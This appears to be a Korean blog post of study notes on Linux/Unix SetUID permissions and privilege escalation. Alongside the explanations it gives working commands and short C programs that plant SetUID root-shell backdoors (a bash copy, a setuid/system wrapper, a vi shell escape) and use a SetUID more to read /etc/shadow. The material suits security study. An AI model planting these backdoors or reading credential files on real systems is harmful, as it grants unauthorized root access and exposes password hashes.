- 작성시간 : 2019/10/24 13:56
- 퍼머링크 : paar13kr.egloos.com/7471734
- 카테고리 : 운영체제보안
리눅스/유닉스의 권한 상승
○ 시스템에서 해킹을 하는 주요 목적은 권한 상승. SetUID를 이용한 권한상승
○ 계정 예)
- 사용자 번호(UID)를 500번, 그룹 번호(GID)를 500번으로 부여받아 로그인 UID, GID가
jh계정이 누구인가를 식별
jh : x : 500 : 500 : ydi : /home/jh : /bin/bash
○ 계정이 누구인가를 식별하는 UID, GID를 RUID(Real UID), RGID(Real GID)라고도 함
○ 어떤 권한을 가지고 있는가에 대한 UID, GID가 별도로 존재 이를 EUID, EGID 라고 함
○ 최초로 로그인 할 때는 RUID와 EUID, RGID와 EGID가 각각 같은 값을 가짐
○ SetUID 비트를 가진 프로그램을 실행했을 때만 프로세스 안에서 잠시 일치하지 않는 상태가 발생
○ 패스워드를 설정하면, 패스워드에 대한 암호화나 해시된 값이 /etc/shadow에 저장
○ /etc/shadow 파일의 접근 권한 확인
ls -al /etc/shadow
- passwd 명령을 이용해 패스워드를 설정하여 저장한 shadow 파일은 권한이 000.
관리자인 root도 읽는 권한이 없다. 하지만 소유자가 root이므로 이 파일에 대한
권한 조정과 접근은 가능
- passwd 명령을 실행할 때는 우리 모두 관리자와 같은 권한 소유. 즉 RUID가 500번이라도
EUID는 0이 됨
- 하지만 passwd 명령을 끝내는 순간 다시 EUID도 500으로 바뀜 이것이 SetUID의 역할
/usr/bin/passwd 파일 권한 확인
ls -al /usr/bin/passwd
- rws r-x r-x로 권한 부여 확인, 권한 중 s가 SetUID를 가리킴.
- SetUID, SetGID는 4000, 2000로 표현
- 4755 권한의 파일이 있다면 rwsr-xr-x로 표현
- 소유자 권한 x 자리의 s(SetGID는 그룹의 x 자리를 s로 바꾸어 사용)
- /usr/bin/passwd의 권한은 4755(rws r-x r-x)
○ passwd 파일에는 SetUID 권한이 주어지며, 파일 소유자가 root므로 파일이 실행되는 프로세스는
실행 시간 동안 파일 소유자인 root 권한으로 실행

find 명령은 파일 소유자가 관리자면서, SetUID 비트를 가진 파일을 검색
find / -user root -perm +4000
SetUID를 활용한 해킹 기법 익히기
1. SetUID 비트를 가진 셸의 생성
- 원본의 bash 셸을 /test 디렉토리에 복사하여 4755 권한 부여. bash 셸 프로그램은 프로세스가
살아있는 동안은 파일의 소유자인 root 권한으로 실행
cp /bin/bash test/bash
chmod 4755 bash
2.일반 사용자 계정으로 SetUID 비트가 주어진 셸 실행
id
./bash
id
SetUID 비트가 설정된 셸을 이용한 관리자 권한 획득 시도
3. SetUID 비트를 이용한 bash 셸 획득
- 보안 설정은 특정한 패턴에만 해당. 약간의 트릭만으로 피할 수 있음.
소스 작성해보기
vi backdoor
#include <stdio.h>
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
bacdoor.c를 root 계정으로 컴파일하여 4755 권한 부여
gcc -o backdoor backdoor.c
chmod 4755 backdoor
4.SetUID 비트가 할당된 more 명령을 이용한 권한 상승
- /etc/shadow는 관리자 소유의 파일, 일반 계정의 접근이 금지.
- SetUID 비트가 주어진 more 명령을 이용하면 /etc/shadow 파일을 읽기 가능
chmod 4755 /bin/more
id
more /etc/shadow
○ SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승
- 작성한 vi backdoor.c를 컴파일, SetUID비트 부여
vibackdoor
#include <stdio.h>
main()
{
setuid(0);
setgid(0);
system("/bin/vi");
}
gcc -o vibackdoor vibackdoor.c
chmod 4755 vibackdoor
다 하고
로그인 시 vi창이 뜨면은
ESC를 누른 뒤, 콜론(:)을 누르면 에디터의 아래쪽에 키를 입력 가능
!/bin/bash 라고 문자를 붙인 뒤 실행하면 vi 화면이 사라지고 셸 화면으로 전환됨.
셸의 프롬프트도 # 모양으로 전환.
[참고] Sticky bit
○ Sticky Bit 의 표현
- SetUID, SetGID, 그리고 스티키 비트도 숫자로 표현 => 값은 4000, 2000, 1000
- 스티키 비트는 Others에 대한 실행 비트인 'x' 대신에 't'문자를 사용
- 7777의 권한은 'rwsrwsrwt'
- 스티키 비트는 주로 디렉토리에만 주어짐
- 스티키 비트가 부여된 디렉토리에 있는 파일은 접근 권한과 상관없이 파일의 소유자와 관리자만
이 파일을 삭제할수 있음
- 스티키 비트가 주어진 대표적인 디렉토리로 : /tmp 디렉토리


덧글